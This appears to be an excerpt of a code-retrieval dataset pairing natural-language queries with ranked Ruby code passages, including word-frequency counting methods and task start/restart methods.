query_id
stringlengths
32
32
query
stringlengths
7
6.75k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
f0f09946dae13d8fa7dbd161c5691b5f
Start or restart the task passed to the constructor
[ { "docid": "61dae7422b8048520f35839ed04c3a79", "score": "0.5985489", "text": "def start_task\n @dynflow = ProxyAPI::ForemanDynflow::DynflowProxy.new(:url => @smart_proxy.url)\n # https://github.com/theforeman/smart_proxy_remote_execution_ssh#usage\n action_input = {\n \"task_id\" => \"ssh #{@host.name} #{@command}\",\n \"script\" => \"#{@command}\",\n \"hostname\" => \"#{@host.name}\"\n }\n @task = @dynflow.trigger_task(\n \"ForemanRemoteExecutionCore::Actions::RunScript\",\n action_input)\n end", "title": "" } ]
[ { "docid": "5d886bc5a7e661b38c6946cd8f0e0209", "score": "0.7143794", "text": "def start(task)\n @tasks[task].start\n end", "title": "" }, { "docid": "36b3dae901ea277a2c1748349236e802", "score": "0.7117066", "text": "def restart!\n stop! if running?\n start!\n end", "title": "" }, { "docid": "f3d750a5def32d9ec2fd14ff8ca369fd", "score": "0.7010681", "text": "def restart!\n stop!\n start!\n end", "title": "" }, { "docid": "8ce5d032dca38cd744ee281ee18f3f5f", "score": "0.6868789", "text": "def start\n self.id = @task.call(self, context)\n return self\n end", "title": "" }, { "docid": "60a0e4117b2ff2dbcf643d9f759ef547", "score": "0.68278694", "text": "def restart\n self.stop\n self.start\n end", "title": "" }, { "docid": "becd50bbdb38ed68bb6bc3893e4bf731", "score": "0.6776059", "text": "def restart\n stop\n start\n end", "title": "" }, { "docid": "becd50bbdb38ed68bb6bc3893e4bf731", "score": "0.6776059", "text": "def restart\n stop\n start\n end", "title": "" }, { "docid": "4852928fcd12455db0534772c25ab31c", "score": "0.6774327", "text": "def restart\n start\n end", "title": "" }, { "docid": "3265b72840c3179090637cfee2e1f09b", "score": "0.67535293", "text": "def restart\n stop\n start\n end", "title": "" }, { "docid": "3265b72840c3179090637cfee2e1f09b", "score": "0.67535293", "text": "def restart\n stop\n start\n end", "title": "" }, { "docid": "df49e5e18a55b3c3747407ae5736055b", "score": "0.67421854", "text": "def start_tasks\n end", "title": "" }, { "docid": "df49e5e18a55b3c3747407ae5736055b", "score": "0.67421854", "text": "def start_tasks\n end", "title": "" }, { "docid": "1588f8fba13d2d0cee6e085c0f7b8e3e", "score": "0.6736547", "text": "def restart\n stop()\n start()\n end", "title": "" }, { "docid": "68850eb648c4216aa7545e670f7e7484", "score": "0.6735681", "text": "def start(task_name = nil)\n current_task.stop if current_task.present? && task_name.present?\n Task::task(task_name).start\n end", "title": "" }, { "docid": "3af473a8335e7c4dfe1cd11108d68a04", "score": "0.6733975", "text": "def restart\n stop\n start\n end", "title": "" }, { "docid": "13406c79c9aa400236f5b4ec2eea4f82", "score": "0.67171687", "text": "def restart()\n shutdown()\n start()\n end", "title": "" }, { "docid": "d6db373a0ac9b2c5f5491d6362409fdd", "score": "0.6651271", "text": "def start(_tasks)\n raise NotImplementedError\n end", "title": "" }, { "docid": "2174ea9148cd8a16342a0e61cb08d450", "score": "0.6650135", "text": "def start\n return if resurrector_disabled?\n return if reaper_disabled?\n\n with_logging_context do\n run_task\n end\n end", "title": "" }, { "docid": "57b8d904dec73a9dfc610ac9609af27e", "score": "0.66334456", "text": "def start\n @machine.start\n rescue => e\n Formatter.error e.message\n throw :task_has_failed\n end", "title": "" }, { "docid": "32013acf90733c2884ae0dd6721414cf", "score": "0.65987307", "text": "def restart\n stop\n sleep self.class.stop_start_delay\n start\n end", "title": "" }, { "docid": "b4b5ac09bc5de0d9c4cb897e6f18067d", "score": "0.6586389", "text": "def restart\n shutdown if running?\n startup\n end", "title": "" }, { "docid": "798cd447ea0579666cbf2759e6495958", "score": "0.6549657", "text": "def restart\n\t\tstop\n\t\tstart\n\tend", "title": "" }, { "docid": "798cd447ea0579666cbf2759e6495958", "score": "0.6549657", "text": "def restart\n\t\tstop\n\t\tstart\n\tend", "title": "" }, { "docid": "798cd447ea0579666cbf2759e6495958", "score": "0.6549657", "text": "def restart\n\t\tstop\n\t\tstart\n\tend", "title": "" }, { "docid": "6843be31c4d95b4d0e61371528f149d8", "score": "0.6507462", "text": "def restart!\n invoke [:restart]\n end", "title": "" }, { "docid": "00e5b0b740d8b7a9c70333865e8673b4", "score": "0.6500974", "text": "def restart\n stop\n reset\n start\n end", "title": "" }, { "docid": "00e5b0b740d8b7a9c70333865e8673b4", "score": "0.6500974", "text": "def restart\n stop\n reset\n start\n end", "title": "" }, { "docid": "a634f3c2de85baf5aef64832921dee0d", "score": "0.648017", "text": "def restart\n stop if running?\n save\n start\n end", "title": "" }, { "docid": "340a85e54c6dfbeac8cfed333e00eb4e", "score": "0.6473896", "text": "def start(task = :default)\n tasks[task] = { history: [], current: nil } unless tasks.keys.include?(task)\n stop task if tasks[task][:current]\n tasks[task][:current] = Time.now.to_f\n 0\n end", "title": "" }, { "docid": "b7a9909be1dc8a32305ac4a94d4de988", "score": "0.6451032", "text": "def restart\n stop_all\n start\n end", "title": "" }, { "docid": "3c3854a2f1f494a451558767f74b5229", "score": "0.6442229", "text": "def resume_task\n Ragweed::Wraposx::task_resume(@task)\n end", "title": "" }, { "docid": "eebf7111358931115c02cd98f01f71ab", "score": "0.6435986", "text": "def start\n\t\tself.start_executor\n\t\tself.start_timer_task\n\tend", "title": "" }, { "docid": "ef62cdff88b131b048b13cb459018cf2", "score": "0.6433043", "text": "def restart(&block)\n self.stop\n @pid = nil\n\n unless block_given?\n self.start\n else\n self.start &block\n end\n end", "title": "" }, { "docid": "bda3b27043f0c1410038c8f2fd9d15c8", "score": "0.64208573", "text": "def restart\n stop\n sleep 1\n start\n end", "title": "" }, { "docid": "b99c1729cb0ce03eda38bec09d4bfc14", "score": "0.6400626", "text": "def start\n return if @task\n Async do |task|\n task.annotate \"#{self.class.name} main task\"\n @task = task\n run\n stop_subtasks\n @task = nil\n end\n self\n end", "title": "" }, { "docid": "f26beb36f138817fa4ceb1e113c87df8", "score": "0.6399489", "text": "def restart\n if @resource[:restart] or restartcmd\n ucommand(:restart)\n else\n self.stop\n self.start\n end\n end", "title": "" }, { "docid": "89e6fa59464d43a7fa32eb6ffe8ad53f", "score": "0.6396167", "text": "def restart!\n restart(true)\n end", "title": "" }, { "docid": "fe574b6a8f9055bad7539d32c463169f", "score": "0.63951886", "text": "def employ\n self.start\n self.status = :running\n end", "title": "" }, { "docid": "77e21d5382cef2edfc5cdbd412df17a1", "score": "0.63857406", "text": "def restart\n @status = :restart\n @runner.restart\n end", "title": "" }, { "docid": "6831fb7a3a5f0b182d0960ce5798b260", "score": "0.6382792", "text": "def respawn(task)\n new = recreate(task)\n execution_engine.once { new.start!(nil) }\n new\n end", "title": "" }, { "docid": "cc7c95f687f1b388c1fcd470bcfa8afe", "score": "0.63812715", "text": "def restart\n stop\n sleep(1)\n start\n end", "title": "" }, { "docid": "3f888d99fea5901b22d10b104d7a9fac", "score": "0.6380019", "text": "def start\n work while @running\n end", "title": "" }, { "docid": "3f888d99fea5901b22d10b104d7a9fac", "score": "0.6380019", "text": "def start\n work while @running\n end", "title": "" }, { "docid": "35954d0e7a21cdc23eb4ea98463286d4", "score": "0.63752025", "text": "def run\n check_for_active_task\n @task.run(nil)\n end", "title": "" }, { "docid": "35954d0e7a21cdc23eb4ea98463286d4", "score": "0.63752025", "text": "def run\n check_for_active_task\n @task.run(nil)\n end", "title": "" }, { "docid": "70e93f0731aab72ebb07ab48bb13a00f", "score": "0.6362792", "text": "def start\n descriptor['starts'].each do |task_name|\n create_task(nil, task_name, payload)\n end\n end", "title": "" }, { "docid": "0ff12c40d64f8679324bb4bcd5be6103", "score": "0.63564885", "text": "def restart!\n @thread.alive? ? @thread : run!\n end", "title": "" }, { "docid": "89d4475f559f57d1852b4b4cfb856cea", "score": "0.63552344", "text": "def restart!\n if @thread && @thread.alive?\n @thread\n else\n run!\n end\n end", "title": "" }, { "docid": "f3d26cb453d1696ad1e70e5a2acc0591", "score": "0.6354689", "text": "def respawn(task)\n new = recreate(task)\n execution_engine.once { new.start!(nil) }\n\t new\n\tend", "title": "" }, { "docid": "f3d26cb453d1696ad1e70e5a2acc0591", "score": "0.6354689", "text": "def respawn(task)\n new = recreate(task)\n execution_engine.once { new.start!(nil) }\n\t new\n\tend", "title": "" }, { "docid": "e4564d296c21d5c882fcaa8dd1cb766b", "score": "0.63422436", "text": "def restart\n\t\t\tstop\n\t\t\tyield if block_given?\n\t\t\tstart\n\t\tend", "title": "" }, { "docid": "7528693614568538967e0c7aa50b3341", "score": "0.6333226", "text": "def restart(id, task = nil)\n connection.post do |req|\n req.url \"client/allocation/#{id}/restart\"\n req.body = { 'Task' => task } unless task.nil?\n end\n end", "title": "" }, { "docid": "d499b5add4d454100a1bb2d78d9f6b13", "score": "0.63276726", "text": "def run(*arguments)\n\t\t\tif @status == :initialized\n\t\t\t\t@status = :running\n\t\t\t\t\n\t\t\t\tschedule(arguments)\n\t\t\telse\n\t\t\t\traise RuntimeError, \"Task already running!\"\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "f22e5a1c8afa8b9194cad554d3c30aa2", "score": "0.6327534", "text": "def start\n runner.run if options[:all_on_start]\n rescue\n throw :task_has_failed\n end", "title": "" }, { "docid": "7c1f36033a3ab31adce895cca3e6920b", "score": "0.6321294", "text": "def restart(options = {})\n return if stopped?\n stop\n start(options)\n end", "title": "" }, { "docid": "143b89d6b4d885a976a92f3e2605a587", "score": "0.6259206", "text": "def restart!\n Kernel.exec(*@restart_cmdline)\n end", "title": "" }, { "docid": "ef798505a876c586540d89912dceefa6", "score": "0.62558484", "text": "def startup_tasks\n @mutex.synchronize { @start_tasks.dup }\n end", "title": "" }, { "docid": "5bccd7969029d8be7be5dbb72953a8a0", "score": "0.6231337", "text": "def restart\n\t\tr = lambda { stop; start }\n\t\tif thread == Thread.current\n\t\t\tThread.new &r # Leaks a thread, but works.\n\t\telse\n\t\t\tr.call\n\t\tend\n\tend", "title": "" }, { "docid": "9f51166a6380aed6c8d80ba949ef64e1", "score": "0.61789834", "text": "def restart\n initialize\n end", "title": "" }, { "docid": "6b719bacab1059476f6c8db03e139d40", "score": "0.6177704", "text": "def start!\n invoke [:start]\n end", "title": "" }, { "docid": "5718d662f21c50e19a856c1a0d4bf174", "score": "0.61704177", "text": "def restart\n @stop = false\n end", "title": "" }, { "docid": "73294fa480da08364f7b919eb6784156", "score": "0.6169418", "text": "def restart\n stop if running?\n start_event_loop\n end", "title": "" }, { "docid": "dc2b1955a0ad416ee74cf56cd82fd901", "score": "0.6158002", "text": "def start\n @state = :running\n end", "title": "" }, { "docid": "349632c3f562212ac0328c4aadc70d1a", "score": "0.60936016", "text": "def restart\n @target = @time_start = Time.now\n end", "title": "" }, { "docid": "010be943b65eb23179bb9e3ed028f29e", "score": "0.60795736", "text": "def restartcmd\n end", "title": "" }, { "docid": "010be943b65eb23179bb9e3ed028f29e", "score": "0.60795736", "text": "def restartcmd\n end", "title": "" }, { "docid": "1965873687711e56160c136843e5f978", "score": "0.60705835", "text": "def start\n raise ArgumentError, \"double start\" unless @stopped\n @stopped = false\n schedule\n end", "title": "" }, { "docid": "3a7774de7e8f9bad8d36ef28401c4dd4", "score": "0.60668695", "text": "def task(name, *args, &block)\n task_once(name, block) do\n super\n end\n end", "title": "" }, { "docid": "75e251373a0c790890acab0ef59fcd49", "score": "0.60411936", "text": "def initialize(options = {})\n @options = options\n @pid = nil\n @stop_signal = options[:stop_signal] || DEFAULT_SIGNAL\n @options[:task] ||= DEFAULT_TASK\n @first_start = true\n start\n super\n end", "title": "" }, { "docid": "75ed18d730b6d579c41ed836e805b3f7", "score": "0.60411775", "text": "def start(task)\n key = AllocatorUtils::get_task_key(task)\n raise TaskException.new(\"here are no task with key #{key}\") unless @pool.has_key? key\n @pool[key].start\n end", "title": "" }, { "docid": "aa26574c8ec4078ed3a22275932e38cb", "score": "0.6039633", "text": "def start!(user)\n # Pause any previously running tasks\n user.tasks.running.each do |running_task|\n running_task.pause!\n end\n\n # Start the clock on this task\n update_attributes(started_at: Time.now)\n end", "title": "" }, { "docid": "86b338d8e8dc2a5335f7610361107234", "score": "0.60352224", "text": "def start_task\n false\n if startable?\n next_status = StatusLink[task_status]\n update_attributes(task_status: next_status)\n end\n end", "title": "" }, { "docid": "9812821dbfa5dac7b2e2fba747a3261f", "score": "0.602666", "text": "def start\n @running = true\n run\n end", "title": "" }, { "docid": "2cd744dd9e9eba38b4d69a621521686d", "score": "0.60233724", "text": "def restart_task(media_id, task_id)\n make_request(\"RestartMediaTask\") do |q|\n q.mediaid media_id\n q.taskid task_id\n end\n end", "title": "" }, { "docid": "257e581e630d9d68d9bc212cc351f4c0", "score": "0.6021956", "text": "def run\n start_subtasks\n end", "title": "" }, { "docid": "0129b00f437bd6cedfe97f26362efb5e", "score": "0.60143435", "text": "def task(&block)\n raise \"Missing block\" unless block\n resume\n block.arity == 0 ? block.call() : block.call(self)\n pause\n end", "title": "" }, { "docid": "2e000d3fa7fe7feb4d08c8c9b11ef23f", "score": "0.60071856", "text": "def restart\n stop if service.loaded?\n start\n end", "title": "" }, { "docid": "c1f3c57a3454c014d352896c49821ebc", "score": "0.5996273", "text": "def start!\n return if started?\n\n self.status = \"started\"\n self.start = Time.now.to_s\n end", "title": "" }, { "docid": "f709851314721a8bf7716319df8fd869", "score": "0.5992116", "text": "def restarted!\n run_setup\n run_connect\n start!\n end", "title": "" }, { "docid": "1e6a1aa3f192173ddb9332a18f6354ae", "score": "0.5983221", "text": "def start\n prepare\n loop { work_one_job }\n end", "title": "" }, { "docid": "2b86098f370c6ade8c11649bfedd7b6c", "score": "0.5980723", "text": "def restart_command\n return unless stop_command\n [stop_command, \"sleep 1\", start_command].join(\" && \")\n end", "title": "" }, { "docid": "5b49844d5031db120b71c875d35db62f", "score": "0.59690946", "text": "def restart_command\n return unless stop_command\n [stop_command, \"sleep 1\", start_command].join(\" && \")\n end", "title": "" }, { "docid": "094ba07e9c21587040f8af9dc1ba5d4d", "score": "0.595405", "text": "def start(task, backtrace: caller(1))\n emit task.start_event, backtrace: backtrace\n end", "title": "" }, { "docid": "abe836c03521d3a4bcefe50383026a2f", "score": "0.59533554", "text": "def start!\n self.start\n self.join\n end", "title": "" }, { "docid": "abe836c03521d3a4bcefe50383026a2f", "score": "0.59533554", "text": "def start!\n self.start\n self.join\n end", "title": "" }, { "docid": "e6e9348b54cc12c4f8c0444468907cbe", "score": "0.59358335", "text": "def restart(options={}, &block); M.restart(options, &block); end", "title": "" }, { "docid": "40efdbe4eb2f070d419d635f443a99ac", "score": "0.5934361", "text": "def run_once\n @task.call if @task\n end", "title": "" }, { "docid": "d864357c99432ac53aedae1970801af6", "score": "0.5927958", "text": "def restart\n @timer = VM.tick # Generate an event immediately after restart\n end", "title": "" }, { "docid": "559ca36240b383a5a8487e234ffa137c", "score": "0.59268486", "text": "def run(*arguments)\n\t\t\tif @status == :initialized\n\t\t\t\t@status = :running\n\t\t\t\t\n\t\t\t\tschedule do\n\t\t\t\t\t@block.call(self, *arguments)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\traise RuntimeError, \"Task already running!\"\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "87ca0a97a8073430588300a122664470", "score": "0.59259105", "text": "def start\n prepare\n loop { work_one_job }\n end", "title": "" }, { "docid": "210dbadf0d0e42332562fde4745d366b", "score": "0.5924444", "text": "def start!\n check_worker if should_start?\n end", "title": "" }, { "docid": "bc6d94c2bc7974031f02c44e6740c7e9", "score": "0.5915185", "text": "def start(redeploy = false)\n logger.debug { \"#{self.class}##{__method__}\" }\n\n # add an execution_cycle\n if current_execution_cycle.nil?\n build_current_execution_cycle.save! # buildABC is provided by has_one :ABC relation\n if settings_modified?\n begin\n setup(false, true) # (force, invoked_from_start)\n rescue Exception\n self.current_execution_cycle.aborted!\n raise\n end\n self.reload\n end\n self.current_execution_cycle.set_started_at(Time.now)\n\n begin\n Hailstorm::Model::TargetHost.monitor_all(self)\n Hailstorm::Model::Cluster.generate_all_load(self, redeploy)\n rescue Exception\n self.current_execution_cycle.aborted!\n raise\n end\n\n else\n # if one exists, user must stop/abort it first\n raise(Hailstorm::Exception,\n \"You have already started an execution cycle at #{current_execution_cycle.started_at}. Please stop or abort first!\")\n end\n end", "title": "" }, { "docid": "b6931b6827223b6b7286c344ee674f3a", "score": "0.5899561", "text": "def start(task, show=true)\n raise ArgumentError, \"Error: Task without directory.\\n\"+\n \"--> Update task with syctask -t <dir> update \"+\n \"#{task.id}\" unless task.dir\n index = @tasks.find_index(task)\n return [false, nil] if not index.nil? and index == 0\n\n stopped_task = stop\n track = Track.new(task)\n\n track.start(show)\n log_task(:start, track)\n\n @tracks.insert(0,track)\n\n @tasks.insert(0,task)\n\n save_tracks\n\n [true, stopped_task]\n \n end", "title": "" }, { "docid": "abe5d13e6ca43be949c4458be432ea4d", "score": "0.5896793", "text": "def run\n super\n #\n @logger.info('Running...')\n raise CommandLineError.new('Cannot execute - SingleMode expects a task id') if @task_id.nil?\n # Load the task and execute it!.\n task = load_component(Automation::Component::TaskType, @task_id)\n task.start\n # Update the result of the mode to match the task it executed.\n update_result(task.result)\n end", "title": "" }, { "docid": "c2d40d618c61cfef76ca48318212c614", "score": "0.58943594", "text": "def run(*args)\n\t\t\tif @status == :initialized\n\t\t\t\t@status = :running\n\t\t\t\t@fiber.resume(*args)\n\t\t\telse\n\t\t\t\traise RuntimeError, \"Task already running!\"\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "aedafcab6c7d37d25e7cacb09fcf4408", "score": "0.5893668", "text": "def start_task(t, opts = {})\n task = t.name; \n @ret = 0; \n @opts = RakeOption.new(t.name, opts);\n @dbase = Database.new(@opts['RAILS_ENV']); \n @dry_run = @opts['DRY_RUN'] == \"true\";\n @silent = @opts['RAILS_SILENT'] == \"true\";\n \n if (!@silent) then\n task_trace t, \">> ------------------------\"\n task_trace t, \">> #{Time.now}\"\n @opts.each{ |k,v| task_trace(t, \">> #{k}=#{v}\")}\n task_trace t, \">> ------------------------\"\n if (@dry_run) then\n @opts.each{ |k,v| task_trace(t, \" * #{k}=#{v}\")}\n end\n end\n return !@dry_run\n end", "title": "" }, { "docid": "4f4c4a2a2db5d16c43b55fd5500daeb5", "score": "0.58934265", "text": "def rocket_job_restart_new_instance\n return unless cron_schedule\n super\n end", "title": "" }, { "docid": "5ef12c51281ae01beb707e766a8236cc", "score": "0.5891674", "text": "def restart\n request(:restart)\n end", "title": "" }, { "docid": "9d355350aec7d1df5577144bc2804e8c", "score": "0.58815575", "text": "def redefine_task(args, &block) \n Rake::Task.redefine_task(args, &block) \nend", "title": "" }, { "docid": "bb97600b12dc518b1a0344635ae7efc4", "score": "0.5871136", "text": "def run_task\n if @propagate_errors\n @task.call\n else\n begin\n @task.call\n rescue NewRelic::Agent::ForceRestartException, NewRelic::Agent::ForceDisconnectException\n # blow out the loop\n raise\n rescue => e\n # Don't blow out the stack for anything that hasn't already propagated\n ::NewRelic::Agent.logger.error('Error running task in Agent Worker Loop:', e)\n end\n end\n end", "title": "" } ]
3d6368771a085d7f7e50c1be854bc544
Implement the calculate_word_frequency() method to: calculate the maximum number of times a single word appears within provided content and store that in the highest_wf_count attribute. identify the words that were used the maximum number of times and store that in the highest_wf_words attribute.
[ { "docid": "030eae2307c9891401cc4c9cd6199129", "score": "0.7114597", "text": "def calculate_word_frequency\n puts \"calculate_word_frequency called\"\n#Ok, tänkte att göra det i en hash table. initiera till 1 om hittar ett ord som inte redan finns annars plussa med ett.\n\n#sedan hitta ordet med högst värde i tabellen. och ta ut \"nyckeln\" för denna.\n\n#fråga hur många olika ord ska man identifiera?\n \n #1. gör hash-lista med antal förekommande som value.\n a=@content.split\n #p a\n nH=Hash.new\n a.each { |word| nH[word]==nil ? nH[word]=1 : nH[word] = nH[word]+1}\n #puts nH.to_s\n #Hur identifierar man åt andra hållet nu då?\n #Gå igenom alla keys och jämför vilket värde som är högst?\n #Ok, men nu om det är flera ord är delad etta...\n highest=0\n nH.each do |key, value|\n if value>highest\n highest=value\n end\n #Ok, för att dela etta, kanske räkna ut highest först och sedan kolla vilka keys som har detta värde.\n end\n #puts \"ok, the highest was: #{highest}\"\n @highest_wf_count= highest #kanske ska sätta in denna i loopen ovan. Obs att det är en setter-metod som anropas här som är förklädd till att ge värde.\n #Nu...\n #Ok, kanske kan använda select mer effektivt.\n #En andra uppgift är att \"effektivisera\" eller snygga till det här programmet så att den drar nytta av rubys \"features\" på ett bättre sätt.\n\n\n\n #puts \"ok, highest was\"\n #p nH.select { |k,v| v==highest}.to_a\n initarray=[]\n nH.each { |k,v| initarray << k if v==@highest_wf_count }\n #highest_wf_words= [1,2,3] #initarray #ok, nu förstår jag, det var det där professorn varnade oss om att den inte anropar en funktion utan skapar och sätter en lokal variabel istället.\n #Dessutom är bara attr_reader definierad, inte setter.\n #Ok, getter och setter methods är till för saker utanför klassen att komma åt variablerna.\n @highest_wf_words= initarray\n\n end", "title": "" } ]
[ { "docid": "a64a76d070886194a32a10db5b29cc93", "score": "0.80292493", "text": "def calculate_word_frequency\n # not a class method, it is used to poulate what are essentially properties on an instance of the class\n #word_frequency = @content.split(\" \").each_with_object(Hash.new(0)) {|word,count| count[word] +=1}\n word_frequency = Hash.new(0)\n #puts word_frequency\n @content.split.each do |word|\n word_frequency[word] += 1\n end\n\n\n @highest_wf_count = word_frequency.values.max\n @highest_wf_words = word_frequency.select { |word, freq| freq == @highest_wf_count }.keys\n @highest_wf_words\n\n end", "title": "" }, { "docid": "057b1476b12a6f6e87395ff7cfef9b11", "score": "0.72615975", "text": "def calculate_line_with_highest_frequency\n @highest_count_across_lines = @analyzers.max_by(&:highest_wf_count).highest_wf_count\n @highest_count_words_across_lines = []\n @analyzers.each do |word|\n @highest_count_words_across_lines << word if word.highest_wf_count == @highest_count_across_lines\n end\n end", "title": "" }, { "docid": "42bb7a62854cec5f18cb05108e6cb871", "score": "0.6902539", "text": "def calculate_line_with_highest_frequency()\n @highest_count_across_lines = 0\n @highest_count_words_across_lines = []\n for line in @@analyzers\n if line.highest_wf_count >= @highest_count_across_lines\n\n @highest_count_across_lines = line.highest_wf_count\n @highest_count_words_across_lines.push(line)\n \n end\n \n end\n end", "title": "" }, { "docid": "94ab41b61840e73d5727766688785ad2", "score": "0.67036945", "text": "def calculate_line_with_highest_frequency()\n maximo = @analyzers.max_by(&:highest_wf_count)\n @highest_count_across_lines = maximo.highest_wf_count\n @highest_count_words_across_lines = []\n @analyzers.each do |linha|\n if linha.highest_wf_count == @highest_count_across_lines\n @highest_count_words_across_lines << linha\n end\n end\n #puts \"maximo dos maximos: #{@highest_count_across_lines}#{highest_count_words_across_lines.flatten}\"\n #@highest_count_words_across_lines = Array.new\n #@analyzers.each do |analyzed| \n # @highest_count_words_across_lines << analyzed.highest_wf_words\n #end\n end", "title": "" }, { "docid": "6092e7e44789b5cd5d7c279fa00f3db6", "score": "0.66914123", "text": "def print_highest_word_frequency_across_lines\n for line in @highest_count_words_across_lines\n puts \"#{line.highest_wf_words} (appears in line #{line.line_number} )\"\n end\n end", "title": "" }, { "docid": "a1d91962fd9b002f611ddf18f4424f3f", "score": "0.66416425", "text": "def print_highest_word_frequency_across_lines()\n puts @highest_count_across_lines\n @highest_count_words_across_lines.each do |lineanalyzer|\n lineanalyzer.highest_wf_words.each { |v| puts \"#{v}\" }\n end\n end", "title": "" }, { "docid": "4b026735f17c960afdbb56bd465c9b7c", "score": "0.663408", "text": "def get_most_frequent_word(words, title_text)\n word_counts = Hash.new\n words.each { |word| word_counts[word] = title_text.scan(word).count }\n if word_counts.values.count(word_counts.values.max) == 1\n word_counts.max_by { |_, v| v }.first\n else\n nil\n end\n end", "title": "" }, { "docid": "bfe98dc5c0cf1598f17817ce263b77b3", "score": "0.66298395", "text": "def word_frequency\n @word_use = Hash.new(0)\n words.each { |w| @word_use[w] += 1 }\n @word_use\n end", "title": "" }, { "docid": "7b784f31ab21bd9350eeadbe620c52b1", "score": "0.65738076", "text": "def print_highest_word_frequency_across_lines\n puts 'The following words have the highest word frequency per line:'\n @analyzers.each do |word|\n if word.highest_wf_count == @highest_count_across_lines\n puts \"#{word.highest_wf_words} (appears in line #{word.line_number})\"\n end\n end\n end", "title": "" }, { "docid": "915128a4a6e73c569729d1a7eec91bc0", "score": "0.6558128", "text": "def word_frequency(params={})\n # Set default options\n options = {\n tweets: [@statuses_count, 1000].min,\n include_rts: true,\n exclude_replies: true\n }\n\n # Combine the options the user has set\n options.merge!(params)\n\n result = {}\n\n # Get the tweets which will be in @timeline\n get_timeline(options[:tweets])\n\n # Go through each tweet in the timeline and match words only\n # [key] word => [value] number of times it is used\n @timeline.each do |tweet|\n tweet.text.split.each do |t|\n\n # Some matches come out as null so skip if they are nil\n word = t.downcase.match(/\\w(?<!\\d)[\\w'-]*/)\n next unless word\n word = word[0]\n\n # Check if word has been added to the result, increment count\n if result.has_key?(word)\n result[word] += 1\n else\n result[word] = 1\n end\n end\n end\n\n result = result.sort_by { |key, value| value }.reverse\n print_word_frequency(result)\n end", "title": "" }, { "docid": "05727053291731c8c169724250f59d74", "score": "0.64057714", "text": "def max_letter_frequency_per_word(sentence)\n\tnumbers_larger_than(letter_per_word(words_longer_than(sentence, 3), \"e\"))\nend", "title": "" }, { "docid": "0e825f6dad8390ced546141a4bd187f3", "score": "0.639379", "text": "def word_freq(text)\n frequency = {}\n unique_words(text).each do |word|\n frequency[word] = 0\n end\n split_normalise(text).each do |word|\n frequency[word] += 1\n end\n frequency\nend", "title": "" }, { "docid": "32dfb3cd7a228e7793ec2b3fdb957b6b", "score": "0.63696814", "text": "def print_highest_word_frequency_across_lines()\n puts \"The following words have the highest word frequency per line:\"\n @highest_count_words_across_lines.each do |line|\n puts \"#{line.highest_wf_words} (appears in line #{line.line_number})\"\n end\n #puts \"[\\\"#{highest_count_words_across_lines}\\\"] (appears in line#)\"\n end", "title": "" }, { "docid": "50d62e32570c00edfeeaf013316287f2", "score": "0.6329631", "text": "def print_highest_word_frequency_across_lines\n puts \"The line(s) with most repeated words are:\"\n @highest_count_words_across_lines.each do |line|\n # using string interpolation here, also combining into one line\n puts \"\\tLine #{line.line_number}: (#{line.highest_wf_words.join(\", \")}), appears #{@highest_count_across_lines\n } times\\n#{word_wrap(line.content, 80, 2)}\"\n end\n q = nil\n end", "title": "" }, { "docid": "a0e6af80e0f5300b359fe067757f04a9", "score": "0.6325433", "text": "def most_frequent_word(str)\n frqWrd = \"\"\n words = word_count(str)\n words.each do |key|\n frqWrd = key if words[key] >= words[frqWrd]\n end\n frqWrd[0]\nend", "title": "" }, { "docid": "69f6f17c80da81b1b29d9f0553f41724", "score": "0.62964326", "text": "def initialize(content,line_number)\n @content=content\n @line_number=line_number\n @highest_wf_words=[]\n calculate_word_frequency()\n end", "title": "" }, { "docid": "3c7a519bda3e5206f726ab0ae77bb033", "score": "0.6271905", "text": "def score(literatureText, wordsToExclude)\n excluded_word_hash = Hash.new(0)\n wordsToExclude.each do |key| \n excluded_word_hash[key] = 1\n end\n word_list = Array.new\n \n \n freq_hash, max = convert_to_freq_hash(literatureText.split(\" \"), excluded_word_hash) \n \n freq_hash.each do |k, v| \n word_list << k if v == max \n end\n \n word_list\nend", "title": "" }, { "docid": "a7d9b979659b227e321ab7f086fc0712", "score": "0.62207216", "text": "def most_common_word\n if word_counts.size == 0\n WordCount.new(:word=>'n/a',:count=>0)\n else\n sort_word_counts\n word_counts.to_a[0]\n end\n end", "title": "" }, { "docid": "966f93ec9ecd1bb9615837e75f1ce81f", "score": "0.6217646", "text": "def frequency\n counts = Hash.new(0)\n self.words.each { |word| counts[word] += 1 }\n counts\n end", "title": "" }, { "docid": "569233ad690dc7267f1b84e76dd872b1", "score": "0.6212073", "text": "def most_com_word(text, min: 3)\n freq = word_freq(text).delete_if { |x, y| x.length} <= min}\nend", "title": "" }, { "docid": "18bec153e5138377239f4b15cdba83e8", "score": "0.62069565", "text": "def most_frequent_word(string)\n hash = {}\n splitstring = string.split(\" \")\n splitstring.each {|element| element.downcase!}\n p splitstring\n splitstring.each{|element| if hash[element].nil?\n hash[element]=1\n else\n hash[element]+=1\n end}\nmost_frequent_item = hash.max_by{ |i| hash.count( i ) }\nputs most_frequent_item\nend", "title": "" }, { "docid": "eaa9c0946458dcc66cfcca9230c1ae21", "score": "0.62057763", "text": "def get_word_freq\n speech_links = get_links_to_speeches\n word_freq = Hash.new(0)\n \n speech_links.each do |link|\n speech_page = link.click\n if (speech_obj = speech_page.at SPEECH_DIV_IDENTIFIER)\n speech = speech_obj.text\n words = speech.split(' ')\n words.each{ |word| word_freq[clean_str(word)] += 1 }\n end\n end\n\n word_freq.sort_by{ |x,y| y }.reverse\n end", "title": "" }, { "docid": "d02c91fdbe9d4f5cb615d3095a10e152", "score": "0.61786646", "text": "def initialize(content, line_number)\n @content = content\n @line_number = line_number\n @highest_wf_count = highest_wf_count\n @highest_wf_words = []\n calculate_word_frequency()\n end", "title": "" }, { "docid": "7514445e5b88b47a355714c522814a75", "score": "0.6169073", "text": "def word_freq(categories, word)\n [*categories].inject(0){|sum, category|\n sum += self.counter.freq(category, word)\n }\n end", "title": "" }, { "docid": "02cf08e98b6043a2ab9b76039ca2a9ff", "score": "0.61639076", "text": "def farm_words(index, entry_content, freqs, word_counts)\n\twords = Sanitize.clean(entry_content.downcase).split(/[^a-zA-Z](?<!['\\-])/) \t# <= clean up & split the words\n\twords.each do |word|\n\t\tnext if !Blacklist.find_by_word(word).nil?\t\t\t\t\t\t\t\t\t\t\t\t\t# <= check against blacklist\n\t\tif 